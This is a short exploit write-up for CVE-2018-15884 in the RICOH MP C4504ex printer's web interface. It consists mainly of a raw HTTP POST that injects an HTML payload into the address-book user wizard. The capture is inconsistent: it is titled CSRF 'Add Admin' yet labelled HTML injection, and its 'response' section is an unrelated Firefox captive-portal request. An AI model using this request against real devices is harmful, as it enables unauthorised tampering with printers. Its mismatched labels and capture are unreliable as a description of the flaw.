RICOH MP C4504ex Cross Site Request Forgery

`# Exploit Title: RICOH MP C4504ex Printer - Cross-Site Request Forgery (Add Admin)  
# Date: 2018-08-21   
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: https://www.ricoh.com/  
# Hardware Link : https://www.ricoh-usa.com/en/products/pd/equipment/printers-and-copiers/multifunction-printers-copiers/mp-c4504ex-color-laser-multifunction-printer/_/R-417998  
# Software : RICOH Printer  
# Product Version: MP C4504ex  
# Vulernability Type : Code Injection  
# Vulenrability : HTML Injection  
# CVE : CVE-2018-15884  
  
# CSRF vulnerability has been discovered on the printer of MP C4504ex of RICOH product.  
# Low priviliage users are able to create administrator accounts  
  
HTTP POST Request :  
  
POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1  
Host: 192.168.0.10  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: text/plain, */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.0.10/web/entry/en/address/adrsList.cgi  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 193  
Cookie: risessionid=132072532817225; cookieOnOffChecker=on; wimsesid=103007361  
Connection: close  
  
mode=ADDUSER&step=BASE&wimToken=2051165463&entryIndexIn=00007&entryNameIn=%22%3E%3Ch1%3EIsmail%3C%2Fh1%3E&entryDisplayNameIn=&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1  
  
HTTP Response Request :  
  
GET /success.txt HTTP/1.1  
Host: detectportal.firefox.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cache-Control: no-cache  
Pragma: no-cache  
Connection: close  
  
  
`